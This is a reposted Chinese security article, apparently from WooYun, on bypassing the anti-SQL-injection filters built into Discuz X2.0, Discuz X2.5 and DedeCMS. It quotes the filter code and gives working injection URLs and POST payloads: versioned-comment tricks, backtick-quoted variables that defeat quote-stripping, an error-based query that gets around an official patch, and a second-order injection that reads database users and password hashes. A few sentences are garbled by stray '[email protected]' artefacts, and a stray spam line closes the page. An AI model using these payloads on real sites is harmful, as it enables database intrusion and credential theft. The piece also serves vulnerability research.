<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/353

                    0x00 前言


                    目前主流的CMS系統當中都會內置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介紹繞過方法。

                    0x01 Discuz x2.0防注入


                    防注入原理

                    這里以Discuz最近爆出的一個插件的注入漏洞為例,來詳細說明繞過方法。

                    漏洞本身很簡單,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函數中,代碼如下所示

                    #!php
                    function getGoods($id){
                          $query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id);
                            $goods = DB::fetch($query);
                            $goods['endtime2'] = date('Y-m-d',$goods['endtime']);
                            $goods['price2'] = $goods['price'];
                            if($goods['sort'] ==2){
                                $goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']);
                                $query = DB::query("select * from ".DB::table('v63_pm')." where gid='$goods[id]' order by id desc ");
                                $last = DB::fetch($query);
                                if(is_array($last)){
                                    $goods['price'] = $last['chujia'];
                                    $goods['uid']  = $last['uid'];
                                    $goods['username']  = $last['username'];
                                    $goods['pm'] = $last;
                                    if(time()+600> $goods['endtime']){
                                        $goods['endtime'] = $last[time]+600;
                                        $goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600);
                                    }
                                }
                            }
                            return $goods;
                    }
                    

                    觸發漏洞的入口點在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如圖所示: ? enter image description here

                    下面可以構造如下請求觸發漏洞了,如圖所示: ? enter image description here

                    不過程序內置了一個_do_query_safe函數用來防注入,如圖所示 ? enter image description here

                    這里跟蹤一下_do_query_safe()函數的執行,它會對以下關鍵字做過濾,如圖所示:

                    ?enter image description here

                    因為我們的url中出現了union select,所以會被過濾掉。

                    繞過方法

                    這里利用Mysql的一個特性繞過_do_query_safe函數過濾,提交如下url:

                    http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
                    

                    這里我們跟蹤一下,繞過的具體過程。它會將/**/中間的內容去掉,然后保存在$clean變量中,其值為

                    select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
                    

                    再進一步跟蹤,它會將/**/也去掉,然對$clean變量做過濾,如圖所示

                    enter image description here ? 此時$clean值,如圖所示 ? enter image description here

                    此時$clean變量中不在含有危險字符串,繞過_do_query_safe函數過濾,成功注入,截圖如下: ? enter image description here

                    0x02 Discuz X2.5防注入


                    防注入原理

                    Discuz X2.5版修改了防注入函數的代碼,在/config/config_global.php中有如下代碼,如圖所示 ? enter image description here

                    這里$_config['security']['querysafe']['afullnote'] 默認被設置為0,重點關注這一點。

                    這里跟蹤一下失敗的原因,如圖所示: ? enter image description here

                    此時觀察一下變量,_do_query_safe($sql)函數會將/**/中的內容去掉,然后存到$clean中,如圖所示: ? enter image description here

                    其實,程序執行到這里跟Discuz X2.0沒有區別,$clean的值都一樣。但是關鍵在下面,如圖所示:

                    enter image description here ? 因為前面提到$_config['security']['querysafe']['afullnote']=’0’,所以這里不會替換/**/為空,并且它在后面會判斷$clean中是否會出現“/*”,如圖所示: ? ?enter image description here

                    所以注入失敗。

                    繞過方法

                    在Mysql當中,[email protected],可以用set @a=’abc’,來為變量賦值。這里為了合法的構造出一個單引號,目的是為了讓sql正確,我們可以用@'放入sql語句當中,幫助我們繞過防注入程序檢查。

                    這里利用如下方式繞過_do_query_safe函數過濾,如下所示:

                    http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user
                    

                    這里跟蹤一下執行的過程,如圖所示:

                    enter image description here ? 這里有一個if判斷,重點看這句

                    #!php
                    $clean = preg_replace("/'(.+?)'/s", '', $sql);
                    

                    它會將$sql中單引號引起來的字符串省略掉,所以我們可以用繞過dede防住ids的思路,利用

                    @`'` union select @`'`
                    

                    這樣的方法,在下面的過濾中省掉union select,這里跟蹤一下,如圖所示: ? enter image description here

                    這樣便繞過了_do_query_safe函數檢測,成功繞過防注入,如圖所示: ? enter image description here

                    不過后來Discuz官方發布了一個修復補丁,但并沒用從根本上解決問題。官方的修復代碼如下: ? enter image description here

                    加了一個判斷,過濾字符串中的@,但是始終沒有修復根本問題,關鍵是上邊的那個if判斷會將單引號之間的內容(包括單引號)替換為空,代碼如下:

                    #!php
                    if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
                        $clean = preg_replace("/'(.+?)'/s", '', $sql);
                    }
                    

                    [email protected],從而繞過它的過濾,利用如下所示:

                    http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`
                    

                    這里我引入了`'`[email protected],并將第一個@`'`替換為@`''`,這樣便可以替換掉第二個@,這里我們跟蹤一下代碼,如圖所示: ? enter image description here

                    可以看到$clean變為

                    select * from pre_v63_goods where `id` =``
                    

                    成功繞過補丁,如圖所示:

                    enter image description here ? 不過這樣做的代價是不能再使用union select了,只能通過報錯獲取數據。

                    0x03 DedeCMS防注入


                    防注入原理

                    這里我也以最近熱點分析的dedeCMS feedback.php注入漏洞為例,分析如何繞過其防注入系統。不過在這之前,還得先提一下這個漏洞。

                    漏洞存在于/plus/feedback.php中的第244行,代碼如下所示

                    if($comtype == 'comments')
                        {
                            $arctitle = addslashes($title);
                            $typeid = intval($typeid);
                            $ischeck = intval($ischeck);
                            $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
                            if($msg!='')
                            {
                                $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                                       VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
                                $rs = $dsql->ExecuteNoneQuery($inquery);
                                if(!$rs)
                                {
                                    ShowMsg(' 發表評論錯誤! ', '-1');
                                    //echo $dsql->GetError();
                                    exit();
                                }
                            }
                        }
                        //引用回復
                        elseif ($comtype == 'reply')
                        {
                            $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
                            $arctitle = $row['arctitle'];
                            $aid =$row['aid'];
                            $msg = $quotemsg.$msg;
                            $msg = HtmlReplace($msg, 2);
                            $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                                    VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
                            $dsql->ExecuteNoneQuery($inquery);
                        }
                    

                    這里$title變量未初始化,所以$title可以作為可控變量,所以我們可以進一步控制$arctitle。跟蹤發現$arctitle被直接帶入SQL語句當中,但是這里執行的INSERT語句入庫之后會將前面addslashes轉義的單引號在會員還原回去。進一步跟蹤下面的代碼,在第268行,如下所示

                    $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
                    $arctitle = $row['arctitle'];
                    

                    這里的查詢#@__feedback表正式上面INSERT的那個表,arctitle字段取出來放到$arctitle變量當中,繼續跟蹤到第273行,這下豁然開朗了,

                    $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                                    VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
                    

                    這里$arctitle變量未作任何處理,就丟進了SQL語句當中,由于我們可以控制$title,雖然$arctitle是被addslashes函數處理過的數據,但是被INSERT到數據庫中又被還原了,所以綜合起來這就造成了二次注入漏洞。

                    但是這里如何利用呢,通過跟蹤代碼發現,整個dede在整個過程中始終沒有輸出信息,所以我們無法通過構造公式報錯來獲取數據,但是進一步分析代碼發現#@__feedback表當中的msg字段會被輸出。由于$arctitle變量是可控的,所以我們可以通過構造SQL語句,將我們要執行的代碼插入到msg字段當中,這樣便可以輸出執行的內容了。

                    繞過方法

                    眾所周知,dedeCMS內置了一個CheckSql()函數用來防注入,它是80sec開發的通用防注入ids程序,每當執行sql之前都要用它來檢查一遍。其代碼如下所示:

                    #!php
                    function CheckSql($db_string,$querytype='select')
                        {
                            global $cfg_cookie_encode;
                            $clean = '';
                            $error='';
                            $old_pos = 0;
                            $pos = -1;
                            $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
                            $userIP = GetIP();
                            $getUrl = GetCurUrl();
                    
                            //如果是普通查詢語句,直接過濾一些特殊語法
                            if($querytype=='select')
                            {
                                $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
                    
                                //$notallow2 = "--|/\*";
                                if(preg_match("/".$notallow1."/i", $db_string))
                                {
                                    fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
                                    exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
                                }
                            }
                    
                            //完整的SQL檢查
                            while (TRUE)
                            {
                                $pos = strpos($db_string, '\'', $pos + 1);
                                if ($pos === FALSE)
                                {
                                    break;
                                }
                                $clean .= substr($db_string, $old_pos, $pos - $old_pos);
                                while (TRUE)
                                {
                                    $pos1 = strpos($db_string, '\'', $pos + 1);
                                    $pos2 = strpos($db_string, '\\', $pos + 1);
                                    if ($pos1 === FALSE)
                                    {
                                        break;
                                    }
                                    elseif ($pos2 == FALSE || $pos2 > $pos1)
                                    {
                                        $pos = $pos1;
                                        break;
                                    }
                                    $pos = $pos2 + 1;
                                }
                                $clean .= '$s$';
                                $old_pos = $pos + 1;
                            }
                            $clean .= substr($db_string, $old_pos);
                            $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
                    
                            //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以檢查它
                            if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
                            {
                                $fail = TRUE;
                                $error="union detect";
                            }
                    
                            //發布版本的程序可能比較少包括--,#這樣的注釋,但是黑客經常使用它們
                            elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
                            {
                                $fail = TRUE;
                                $error="comment detect";
                            }
                    
                            //這些函數不會被使用,但是黑客會用它來操作文件,down掉數據庫
                            elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
                            {
                                $fail = TRUE;
                                $error="slown down detect";
                            }
                            elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
                            {
                                $fail = TRUE;
                                $error="slown down detect";
                            }
                            elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
                            {
                                $fail = TRUE;
                                $error="file fun detect";
                            }
                            elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
                            {
                                $fail = TRUE;
                                $error="file fun detect";
                            }
                    
                            //老版本的MYSQL不支持子查詢,我們的程序里可能也用得少,但是黑客可以使用它來查詢數據庫敏感信息
                            elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
                            {
                                $fail = TRUE;
                                $error="sub select detect";
                            }
                            if (!empty($fail))
                            {
                                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
                                exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
                            }
                            else
                            {
                                return $db_string;
                            }
                        }
                    

                    但通過跟蹤這段代碼發現,它有個特征就是會將兩個單引號之間的內容用$s$替換,例如’select’會被替換為$s$,這里用兩個@`'`包含敏感字,這樣$clean變量中就不會出現敏感字,從而繞過CheckSql()函數檢測。

                    這里可以設置title為如下代碼,一方面繞過ids防注入代碼檢測,另一方面加一個#注釋掉后面的代碼,但是還要做一下變形,就是這個char(@`'`)了。因為#@__feedback的所有字段都被設置為NOT NULL,而@`'`是一個變量,默認為NULL,直接插入@`'`的話會報錯,所以需要以char(@`'`)的方法轉換一下。

                    ',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
                    

                    跟蹤代碼,如圖所示 ? enter image description here

                    如下SQL語句

                    INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');
                    

                    被替換為了

                    insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);
                    

                    字符串中沒有任何敏感字,成功繞過CheckSql()函數檢測。

                    POST如下請求給feedback.php,如下所示:

                       action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor&notuser=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
                    

                    跟蹤代碼,實際執行的SQL語句跟蹤變量如下所示: ? enter image description here

                    被插入數據庫中的內容,如圖所示: ? enter image description here

                    下面再POST如下內容給feedback.php,

                    action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50
                    

                    跟蹤一下這里執行的SQL語句,如圖所示 ? enter image description here

                    所以select user()執行了,并且可以作為msg字段輸出。

                    0x04 總結


                    在寫這篇文章之前,我分析了很多常用的cms系統的源碼,包括discuz、dedecms、phpwind、phpcms等,只有在discuz、dedecms這兩個系統中用到通用防注入,但是它們所覆蓋的用戶群已將相當龐大了。如果能在發現程序注入漏洞的情況下,這些繞過方法還是很有價值的。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频